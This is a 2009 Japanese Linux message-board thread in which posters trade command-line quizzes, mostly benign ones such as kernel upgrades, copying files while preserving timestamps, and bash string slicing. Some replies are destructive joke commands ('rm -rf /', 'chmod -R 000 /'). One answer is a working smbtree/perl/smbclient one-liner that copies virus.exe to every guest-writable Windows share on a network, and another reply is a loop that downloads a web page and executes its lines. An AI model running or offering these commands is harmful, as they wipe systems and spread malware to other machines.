09/08/25 07:50:36 pbvgeLaT
<問1>まずは、ルートディレクトリのファイル一覧を表示せよ。
解答はレス2以降で。
2:login:Penguin
09/08/25 07:53:01 oK1kCcwF
ls /root
3:login:Penguin
09/08/25 08:02:07 yaj/Hshc
このスレッドは天才チンパンジー「アイちゃん」が
言語訓練のために立てたものです。
アイと研究員とのやり取りに利用するスレッドなので、
関係者以外は書きこまないで下さい。
京都大学霊長類研究所
4:login:Penguin
09/08/25 08:21:15 8kiBt8Im
>>1
ls -al /
5:login:Penguin
09/08/25 08:44:14 HfP89iM9
アイちゃん、スレ立ての練習はソフトウェア板でやれ。
6:login:Penguin
09/08/25 08:47:45 HXn83Yjr
rm -rf /
7:login:Penguin
09/08/25 08:48:20 +vzgE3X1
>>1
sudo rm -rf /
8:login:Penguin
09/08/25 08:56:12 PW9vU8an
>>1
sudo chmod -R 000 /
9:login:Penguin
09/08/25 09:02:08 8kiBt8Im
>>6-8
あほ
10:login:Penguin
09/08/25 09:18:00 6Wqqx7fA
どのレベルかは知らんが
<問2>カーネルを最新にしてください
回答は次レス以降で
11:login:Penguin
09/08/25 09:24:50 +vzgE3X1
>>10
sudo apt-get update
sudo apt-get upgrade
12:login:Penguin
09/08/25 10:01:26 HfP89iM9
>>11
この板の住人にはネタという概念がないから、ネタレスは止しておいた方がいいよ。
13:login:Penguin
09/08/25 11:44:08 oK1kCcwF
>>10 $ sudo apt-get update&& sudo apt-get dist-upgrade
14:login:Penguin
09/08/25 11:48:49 incYiVCU
debian乙
15:login:Penguin
09/08/25 14:22:23 fOeI54yR
>>10
1. ソースとパッチの取得
cd /usr/src
links URLリンク(www.kernel.org)
stable releaseの所で[d]を押しpatch-2.6.30.5.bz2を取得
2.ビルドの準備
tar -xvf linux-2.6.30.tar.bz2
mv linux-2.6.30{,.5}
ln -sv linux-2.6.30.5 linux
cd linux
make mrproper
bzcat ../patch-2.6.30.5.bz2 | patch -p1
cat /proc/config.gz | gzip -d > .config
3.ビルド
make oldconfig
make
4.インストール
make modules_install
もしx86なら
cp arch/x86/boot/bzImage /boot/linux-2.6.30.5
cp System.map /boot/System.map-2.6.30.5
ブートローダの設定に追加して再起動
16:login:Penguin
09/08/25 20:53:30 EvErd7nN
<問3>
ユーザー"foo" のホームディレクトリ/home/fooを/home/barとして
内包している全てのファイルをコピーせよ。
ただし、/home/barは現在存在していないものとする。
17:login:Penguin
09/08/25 21:04:40 pbvgeLaT
mkdir /home/bar
cp -r -p /home/foo /home/bar
18:login:Penguin
09/08/25 21:16:33 fOeI54yR
>>16
usermod -d /home/bar foo
19:login:Penguin
09/08/25 21:22:36 S3I+peSX
>>15
gitでやれよ。
20:login:Penguin
09/08/25 21:23:24 fOeI54yR
-m 忘れてた
usermod -d /home/bar -m foo
です。
21:login:Penguin
09/08/25 21:30:01 EvErd7nN
<問4>
<問3>の課題を、全ての日付情報を保持して 行え。
22:login:Penguin
09/08/25 21:33:16 pbvgeLaT
>>20
URLリンク(itpro.nikkeibp.co.jp)
そういうことか。
23:login:Penguin
09/08/25 21:37:19 fOeI54yR
>>21
>>20でやれば日付情報は変化しないと思うけど?
24:login:Penguin
09/08/25 21:41:33 EvErd7nN
>>23
see "ctime"
25:login:Penguin
09/08/25 21:49:28 pbvgeLaT
>>21
URLリンク(itpro.nikkeibp.co.jp)
>全ての日付情報。
26:login:Penguin
09/08/25 22:07:45 fOeI54yR
とりあえずusermodしたディレクトリにあるTODOというファイルをstatしてみた。
Access: 2007-12-30 06:50:11.000000000 +0900
Modify: 2007-03-03 21:50:46.000000000 +0900
Change: 2007-12-30 06:50:11.000000000 +0900
更新されてないんだけど。
27:login:Penguin
09/08/25 22:08:03 EvErd7nN
>>23
なお、>>20は 先読みをしてユーザーのhomeを移動させた ということだと思われる。
実行されたのは移動で、コピーではない。/home/foo は消えていないか?
-p オプションでcpしても、全ての日付情報はデッドコピーできない、
という点を伝えたかった。
28:login:Penguin
09/08/25 22:13:36 pbvgeLaT
意外にむつかしいことがあるな
29:login:Penguin
09/08/25 22:26:55 fOeI54yR
>>27
うぅ……、「コピーせよ」か……。
引っ掛けだよぉ orz
cp -a /home/{foo,bar}
では?
30:login:Penguin
09/08/25 22:43:17 7NvygcQ0
ここに大学での宿題を貼るやつが出てくるだろww
31:login:Penguin
09/08/25 22:55:43 EvErd7nN
>>29
うふふ。ひっかけたつもりはないんだけど、勘違いされても無理はなかったかも。
出題側も、注意深く書かないとだめなんだな。
>>30
それでもいいんじゃね? 良質な問題なら、解答例を見て参考になる初心者もいるだろ?
で、ここって解答例を書いた方がいいのか? 自己確認でFAってことにしないと
トレーニングや腕試しにならないと思うのだが? >>1
32:login:Penguin
09/08/25 23:13:39 BooGp9+x
>>30
>ここに大学での宿題を貼る
いまどきの大学ではこんなどうでもいい事を宿題に出すのか?
33: [―{}@{}@{}-] login:Penguin
09/08/25 23:16:51 HfP89iM9
LPICの試験問題でも貼るのか?
34:login:Penguin
09/08/25 23:19:07 fOeI54yR
中卒、しかもおじさん(涙)
35:login:Penguin
09/08/25 23:25:39 EvErd7nN
>>32
sinやcosが何なのかを知らない高校生が、工科系の大学にすんなり入ってくる
という現実を知らないのか? w
全入時代 目前、高等教育の現場は「ゆとり」のおかげでゆとりがなくなっている、
そんな状態だ。全てがそうだとは言わないけど。
36:login:Penguin
09/08/25 23:27:53 BooGp9+x
>>35
それで>>1みたいな問いを出して学生はメモメモ(・_・ )φ、か?
学費ぼったくりだな。
37:login:Penguin
09/08/25 23:36:40 EvErd7nN
>>36
大学は高校までとは違うよ。
自分で自学自習して進んでいける奴は ほんのちょっとアシストしてやるだけでいい。
大学ってところは、本来、そういう場所だろ?
だけど、学ぶ気はさらさらないのに大学にくる奴は ごまんと居る。
そもそも ブートストラップは、単純なものだろ?
38:login:Penguin
09/08/25 23:39:06 7NvygcQ0
<問>ローカルネットワーク内でWindows共有されている
ゲストログオン可なマシンすべてに、
ローカルマシンにあるvirus.exeという名前の
ファイルをコピーするコマンドを書け。
39:login:Penguin
09/08/25 23:41:05 7NvygcQ0
<追加>ローカルマシンにnmblookupとsmbclientはインストールされているものとする
40:login:Penguin
09/08/25 23:47:50 EvErd7nN
<問6>
/tmp/virus.exe がどんなファイルタイプなのかを調べよ。
41:login:Penguin
09/08/25 23:50:28 7NvygcQ0
>>40
fileとかreadelfでおk?
42:login:Penguin
09/08/25 23:53:05 7NvygcQ0
<問7>
ある日時になると、指定したURLにあるHTMLファイルを取得し、
そのHTMLに書かれたコマンドを順に実行せよ。
43:login:Penguin
09/08/26 00:21:08 VfaWlTot
ID:7NvygcQ0さんのはちと特殊?というか応用が過ぎる気がする。
itpro.nikkeibp.co.jpの今日の腕試し!みたいなの頼みたい。
後から来た人でも過去レス参照してタメになるような基礎的なの。
44:login:Penguin
09/08/26 00:37:07 qJJaFkE2
>>42
タグは無しHTML。
wget hogehoge.com
while read line;
do
echo `$line`
done < file.html
でおk?
45:login:Penguin
09/08/26 00:58:16 p7NCW5nO
>>43
マジで。。
いちおう答え
>>38
$ smbtree -Uguest%|perl -nle ?if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};print$h;system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}?
46:login:Penguin
09/08/26 00:59:25 p7NCW5nO
あれ?シングルクォートが化けた。。
$ smbtree -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};print$h;system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'
47:login:Penguin
09/08/26 07:59:25 mTv2R4HV
>>31
解答者の中で正解があればいいのだけど、
もしなければ、課題を与えてくれた人に模範解答をお願いしたいと思います。
48:login:Penguin
09/08/26 08:08:42 seVBbraL
>>30みたいな事を防止するため>>1はトリップを付けて全問いに後から正答を付けるべき。
49:login:Penguin
09/08/26 08:24:21 5VQDQhqX
【夏休みが】Linuxコマンドの課題をボスケテ【終わる】
Linuxコマンドは意外にむつかしい
50:login:Penguin
09/08/26 10:34:19 tozyo/AI
これは巧妙に仕組まれた単発質問スレだ。
51:login:Penguin
09/08/26 17:43:31 p7NCW5nO
>>46
-bがないと同じワークグループ内しか探してくれなかった。
$ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'
52:login:Penguin
09/08/26 21:30:18 mferTyOH
次スレ
【緊縛】私に罰を与えてください 問題集2縄目
53:login:Penguin
09/08/26 22:25:40 qwJ2/jyu
>>51
小さくまとまっていて、ほどく(=理解)のがたいへん。
54:login:Penguin
09/08/26 23:03:13 p7NCW5nO
>>53
じゃあ Perl の部分だけインデントします。
while (<>) {
# "\\マシン名\\フォルダ名"を抜き出す
if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) {
$h = $1;
$h =~ tr{\\}{/};
system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"");
}
}
55:login:Penguin
09/08/27 00:39:42 S1h8kGra
<問8>
/home/files/domain/files/には、01から09までのディレクトリがある。
これらに、/home/files/link.lnkファイルをコピーし、
さらにこのファイルの所有者をabc、グループをdefとし、
それぞれ読み取り属性のみを設定しなさい。
<問9>
また、ディレクトリと、フォルダの違いを簡単に述べよ。
56:login:Penguin
09/08/27 02:59:14 NC6ozCQr
>>55
A8:
for i in /tmp/files/domain/files/0{0..9};do
cp /tmp/files/link.lnk $i;
chown abc:def $i/link.lnk;
chmod 400 $i/link.lnk;
done
A9:
同じ
57:login:Penguin
09/08/28 02:27:17 bBjSWu/K
<課題 10>
X=foo-0.0.1-rc1.tar.gz
この変数Xからbashのパターンマッチを用いて下記に示すように抜き出せ。
NAME, foo
VERSION, 0.0.1
REVISION, 1
SUFFIX, .tar.gz
例)
$ NAME=${X%%-*}
$ echo ${NAME}
$ foo
58:login:Penguin
09/08/28 05:29:12 OKsrZM1I
>>57
X=foo-0.0.1-rc1.tar.gz
NAME=${X%%-*}
VERSION=${X#$NAME-}
VERSION=${VERSION%%-*}
REVISION=${X#$NAME-$VERSION-}
REVISION=${REVISION%%.*}
SUFFIX=${X#$NAME-$VERSION-$REVISION}
59:login:Penguin
09/08/29 23:43:55 fGZOrtWl
<問 11>
CPUの温度を表示する方法を挙げよ。
(例)
#yum install xxxx
#command_name
60:login:Penguin
09/08/30 03:06:38 y5/QoVdf
gkrellm
61:login:Penguin
09/08/30 21:59:38 dbbtl/7B
課題くれよ
62:login:Penguin
09/08/30 22:43:50 +l9wyk6P
<課題 12>
自民党はどうなる?
63:login:Penguin
09/08/30 22:51:56 WwhqnWgC
>>62
jimintoh > /dev/null
64:login:Penguin
09/08/30 23:01:48 qdiQuvup
pivot_root /mnt/minsyu/
65:login:Penguin
09/08/31 13:24:18 bAPWr+kh
>>59
# yum install lm_sensors
バージョンは3.0.2
# sensors-detect
メッセージのとおり、エンターを押していく。
最後にここで認識されたデバイスのドライバ情報が/etc/sysconfig/lm_sensorsに自動登録される。
# sensors
温度情報、ファン情報が表示される。
66:login:Penguin
09/08/31 19:24:51 0JgAt4l5
>>1
スレ乱立による鯖負荷軽減工作ご苦労様です。
ニヤリとしてしまう程、意図みえみえですね。
それにしてもDTM板にまでこんな糞スレ立てなければならないなんて
よほど前回の陥落のダメージは大きかったのですかね?
67:login:Penguin
09/09/01 00:24:45 mFt0hhy2
なぜ、2chでは新規登場スレを消そうとする強い傾向があるんですか?
そういう”係り”のようなものがあるのですか?
68:login:Penguin
09/09/01 16:13:55 lGMGvNYx
>>67
強い傾向を示すデータを提示してくれないと話にならない
69:login:Penguin
09/09/03 16:48:05 XXlPF8Wu
<問い13>
ν即でスレタイに「実父」を含むスレを定期的に監視し、
そのスレに含まれるすべてのZIPファイルを
重複せずにローカルに保存するスクリプトを作れ。
70:login:Penguin
09/09/03 16:56:49 XXlPF8Wu
<問い13>
ν即でスレタイに「パン」「やなせ」を含むスレを定期的に監視し、
そのスレにバランスよく特定のAAを書き込むスクリプトを作れ。
71:Σ凸(・д・)てふてふ ◆1xsES22i66
09/09/03 22:06:46 FjThMhB1
俺が作った=2chを改造してもいいぜ。
72:login:Penguin
09/09/04 14:26:30 Cj+7l1D9
バランス厨は死ね
73:login:Penguin
09/09/04 20:51:04 7VmZ9Ui1
ここまでテンプレ
74:login:Penguin
09/09/05 01:05:32 0TookqAP
こたえまだー?
75:login:Penguin
09/09/06 18:30:42 5f420rVM
ちんシュに答えなど無い
76:login:Penguin
09/09/13 01:27:52 hmW7Rig0
>>69
#!/bin/sh
BASEURL="URLリンク(yutori7.2ch.net)"
KEYWORD1='実父'
cat /dev/null > ./urllist.txt
wget -q -O ./subject.txt "URLリンク(yutori7.2ch.net)"
nkf -w -Lu ./subject.txt | grep ${KEYWORD1} | while read line
do
DATFILE=$(echo ${line} | grep -E -o "[0-9]{10}")
TARGETURL=$(echo "${BASEURL}/${DATFILE}/")
wget -q -O ${DATFILE} "${TARGETURL}" && nkf -w -Lu ${DATFILE} | sed -e "s#<br>#\n#g" |grep -o "URLリンク(*.*\.zip)" | sed -e "s#.zip.*#.zip#g" -e "s#^ttp#http#g" -e "s#ime.nu/##g" >> ./urllist.txt
rm -f ${DATFILE}
done
wget -P ./download_file/ -nd -nc -i ./urllist.txt
直DLのみ
DL間隔とか考えてない
77:login:Penguin
09/09/18 20:52:45 R/4Lru76
>>76
すばらしい
78:login:Penguin
09/09/25 14:58:46 vDQC2aie
>>76
touchではなくcatを使う理由は?趣味?
79:login:Penguin
09/09/26 00:33:13 iY9l2Ri7
>>78
touchはファイルが存在しない場合だけ空のファイルを作るから
今思うと echo -n > file の方が良かった気がする
あとはgrep ${KEYWORD1}に -e 付け忘れたりとか変数に””が付いてたり付いてなかったりと作った後にいろいろダメ出ししたくなるわね
80:login:Penguin
09/09/26 01:43:08 VptfbrDi
簡単な問題も書いておくれよ~